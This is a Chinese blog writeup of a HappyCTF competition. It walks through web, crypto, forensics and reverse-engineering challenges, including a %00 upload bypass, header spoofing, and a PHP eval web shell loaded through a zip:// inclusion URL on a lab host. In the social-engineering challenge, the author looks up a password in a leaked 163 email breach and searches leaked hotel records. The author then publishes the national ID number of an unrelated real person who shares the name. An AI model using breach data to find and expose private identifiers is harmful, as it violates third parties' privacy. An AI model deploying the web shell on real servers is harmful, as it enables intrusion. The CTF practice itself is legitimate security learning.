实习生活第十四天(第一届HappyCTF网络安全竞赛writeup)
0 条评论前言
这次的HappyCTF算是济南赛博和杭州安恒合作的吧,用的是安恒的平台,必须有VPN连接才能访问靶机着实令人蛋疼。。题目也是安恒的题目,差不多都是之前的一些比赛中出现过的题目吧,但是自己还是没做出多少来。。。还是太菜吧,最后看了看有成绩的107人,也就是差不多100多人参加吧,自己最后的排名定格在了第27,5200分。。。也就水水,学习一波吧。。
这次所有题目均放出,一共64道题目,但是比赛时间就很紧张了,早八点到晚八点,12个小时时间,以往像今天这种题量的比赛都是48小时,也许是因为题目原因吧,所以压缩了比赛时间。。感觉题目质量一般吧(也许是因为我做的都是简单的。。。),大多数都是考脑洞。。并且很蛋疼的脑洞。。。但是自己也还是学到了很多东西,也算是有不小的收获吧!
下面是这次比赛的积分榜和我的writeup
:
安可限南北
我不是蜘蛛(100)
扫了一下,发现有robots.txt文件,访问如下
打开后继续访问得到flag
寂静之城(200)
这是个社工题目。说实话如果是让自己去做的话,根本做不出来的,不过嘛!你懂得。。。这是之前一个比赛的题目,根据题目,很明显,这题应该是一个社工题目,打开题目给的网址,还真是一篇小说!还特别长,难道真的要让我们看完小说然后从小说中找线索吗?要真是这样就坑爹了,直接跳过小说内容,看看有什么其他的线索,发现下面有回应,推荐,喜欢,仔细看看,说不定有线索,
在“喜欢”栏发现了出题人的踪迹,
进去发现这样三个信息
首先是出题人的163邮箱,然后是一段密文,看起来像是AES或者DES加密的,然后提示说秘钥就是邮箱的密码。163的库刚放出来就拿来出题还真是与时俱进啊!经过一番的搜索终于找到weiluchuan12341127@163.com对应的密码是63542021127,对密文进行解密,得到一个微博地址:http://weibo.com/u/3192503722
进微博,发现出题人姓名DJ
但是已经没有微博了。。。。。去找了原来题目的wp,看了下,原来是去查开房记录。。。。。
现在好了,flag就在眼前了,现在已经有了密钥,还差身份证号码了,知道了出题人的名字,和开房时间,果断去查开房记录啊!为了出这道题我也是拼了啊!不过不是我的身份证号。同名的而已
最后查到身份证号码为:310104199208314813
搞定:flag为:31010419920831481363542021127
全家在一林
管理员的愤怒(100)
昨天热身赛的时候已经做过这个题目了,扫描目录可以得到两个路径 /include 和 /dbadmin,从/include路径下得到登录后台的用户名和密码,直接登录后台即可得到flag~
粽子的来历(500)
下载文件,解压发现有一些doc解压后的文件和四个doc文档,按照题目提示寻找dbapp标记,挨个打开文档,发现只有我是C.doc
文件内有一句含有dbapp标记的字符串,但是文件内容已经无法查看了,需要修复。用winhex打开文档,发现在万“F”丛中只有那么一句字符串,,于是把字符串的16进制位全部换位F
,保存后发现文件内容已经可以查看了,是屈原的《离骚》,然后就没有思路了。。。看题目说的是答案的MD5值,有仔细看了一下文档内容,发现每句诗的行间距不一样!把间距大的行定为1,小的定为0,得到一串01串,然后MD5后提交,此题水过~
届府换歌词
无权查看(300)
打开连接直接forbidden
查看源码发现有个index.php.bak
文件,访问如下
是段PHP,这就很简单了,提交直接拿到flag
rar(100)
文件中的秘密(100)
reverse2(100)
O(∩_∩)O哈哈 这个要好好说说了,因为这可能算是自己做出来的第一个逆向题目了,查看文件后发现ELF标志和 {hacking_for_fun}
,是个Linux文件,放到了kali,跑了一下,让输入flag,虽百年尝试了一些字符,都是wrong flag,然后突然想起刚才的那个字符串,试了一下,确实是flag,然后就去提交了,结果却不对,我想也是,一个逆向题怎么能这么简单。。然后就祭出神器IDA,发现了让输入flag的那段代码,一键F5,转换成C。。虽然代码看起来很蹩脚,但意思还是很容易懂的,将字母 i
和 r
都替换成 1
,提交通过
娱在水云中
upload(100)
上传一个GIF图片,抓包,修改报头中的filename为“1.gif%001.php”,即使用%00截断即可
救市捷径(100)
热身赛的时候已经做过了,求最短路径即可。
乐禅心似荡
刮刮乐(100)
这个题目一开有点懵逼。。挂了好几次都是没中。。然后就以为为js的特效,就没去做,去看了其他题目,过了会又看了一下,审查元素,发现挂卡的地方是个canvas,把整个网页保存,发现有下面这么多文件
但就是没有后面显示文字的图片,以为有别的什么注入一类的套路,但是连续点击了记下后发现底层的图片会变化,然后有尝试了几次,终于抓到了那个图片,刮开拿到flag~
隐藏的钥匙(100)
notepad++打开发现flag,base64了,解码即可~
圈未有年颜
包罗万象(500)
这个根据题目要求将php马压缩zip文件,然后利用zip协议在服务器端解压,然后直接连菜刀即可。<?php phpinfo();@eval($_POST['g']);?>
http://9.9.9.23/index.php?url=zip:///var/www/html/upload/8d7256a9bb5519e8507d7b23e7182c64.zip%231
异性相吸(300)
这个下载下来得到两个文件,一个明文,一个密钥,根据题目,推断是比特位异或,最近刚学了Java,趁机学习一波~
欢娱接宾客
我的博客(500)
这个根据提示得到flag文件的位置在/key/flag.php
,打开博客,发现有几篇文章,点开后注意这里的url,猜测有文件包含,
试了一下发现了这个
但是看不到flag,然后查看了一下源码,原来flag在这里。。。
乐童翻怨调
内涵的软件(300)
萌萌哒的八戒(100)
夺宠心那惯
第三个空白页(500)
查看源码得到一个参数way=AHAHAH,直接传参数发现只能本地才能访问flag,于是抓包利用x-forwarded-for,伪装成本地访问,拿到flag
ningen(300)
直接爆破即可,最后得到flag{b025fc9ca797a67d2103bfbc407a6d5f}
赛雨恋烟霞
iPhone6(300)
这个一开始想简单了,直接开WiFi用同学的iPhone连接后访问地址,但是不行。。。打不开,应该是VPN的原因,然后又一想,也许即使能打开,也许flag也可能无法显示出来,然后就抓了一下包,将报头中的user-agent替换为iPhone的就好了
坏蛋是雷宾(500)
题目解析:PK是公钥的意思。所以这是一道和公钥体制有关系的题目。公钥的算法有很多,比如RSA,比如ECC。Rabin算法也是一种,这个在大学时代是学过的。但是我第一反应是Miller-Rabin算法,这是一个基于概率的素数测试算法。其中的Rabin是指Michael O. Rabin,他是哈佛大学教授。我09年在清华还见过他,听过他的报告。但是还有一个Rabin公钥体制,我差点忘记了……这里花了一些纠结的时间。
其实Rabin的公钥密码体制和RSA有点类似,公钥 n=p*q ,私钥就是p和q。加密过程由明文m在平方后与n求模得到c,其次就是二次同余的过程。解密的时候就求出密文的平方根在两个私钥模值(p或者q)下的同余即可。
由于本题中的数不大,所以直接用程序暴力破解也可以。即找到一个数,使得其平方值与密文对于模值n同余,由于是平方,而且n不是素数,所以一共会得到四个解:115739001、408059548、214318436、309480113。
然后我们再看题目的信息,校验码的二进制值是二进制值是110001,我们看一下四个解中,偶数可以直接排除了,然后转换一下剩下的两个奇数解,得到309480113的二进制码“10010011100100100101010110001”,这后面六位和校验码是一致的。
那剩下的部分就是明文了,即“10010011100100100101010”,转换成十进制为4835626,求MD5值为ca5cec442b2734735406d78c88e90f35,得到答案。
总结
水了一天,还是有很多收获的吧,虽然还有好多题,还没来得及做,有一些知道怎么做但是最后还是存在一些问题,但整体来说还是挺有意义的一席比赛吧,跟大佬学习到了很多东西,希望在以后的路上能收获越来越多,走得越来越远吧 (wp还没写完,因为有一些题目忘了怎么,靶机还没开,等开了后再补上剩下的吧 )
声明:
文章标题:实习生活第十四天(第一届HappyCTF网络安全竞赛writeup)
文章作者:h3h3da
文章链接:https://www.liucunzhan.com/p/6f806a3e-71ce-4bb1-8095-ea2eb9595a2e
文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。
喜欢,就支持我一下吧~